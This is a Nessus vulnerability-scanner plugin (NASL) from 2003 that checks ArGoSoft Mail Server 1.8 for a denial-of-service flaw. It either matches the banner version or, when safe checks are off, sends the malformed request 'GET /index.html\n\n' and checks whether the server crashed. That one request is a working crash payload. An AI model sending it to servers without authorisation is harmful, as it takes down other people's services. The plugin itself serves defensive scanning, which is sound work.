# # (C) Tenable Network Security # # From: "Rushjo@tripbit.org" # To: bugtraq@security-focus.com # Subject: Denial of Service Attack against ArGoSoft Mail Server Version 1.8 # if(description) { script_id(11734); script_version ("$Revision$"); name["english"] = "Argosoft DoS"; script_name(english:name["english"]); desc["english"] = " It was possible to kill the remote HTTP server sending an invalid request to it ('GET /index.html\n\n'). A cracker may exploit this vulnerability to make your web server crash continually or even execute arbitrary code on your system. Solution : upgrade your software to the latest version Risk factor : High"; script_description(english:desc["english"]); summary["english"] = "Bad HTTP request"; script_summary(english:summary["english"]); script_category(ACT_MIXED_ATTACK); script_copyright(english:"This script is Copyright (C) 2003 Tenable Network Security"); family["english"] = "Denial of Service"; script_family(english:family["english"]); script_require_ports("Services/www", 80); script_dependencie("find_service.nes", "httpver.nasl", "http_version.nasl"); exit(0); } ######## include("http_func.inc"); port = get_kb_item("Services/www"); if(!port) port = 80; if(! get_port_state(port)) exit(0); if( safe_checks() ) { banner = get_http_banner(port:port); if(egrep(pattern:"^Server: ArGoSoft Mail Server.*.1\.([0-7]\..*|8\.([0-2]\.|3\.[0-5]))", string:banner)) { security_hole(port); } exit(0); } if (http_is_dead(port: port)) exit(0); soc = open_sock_tcp(port); if(! soc) exit(0); send(socket:soc, data:'GET /index.html\n\n'); r = recv_line(socket:soc, length:2048); close(soc); if (http_is_dead(port: port)) { security_hole(port); exit(0); }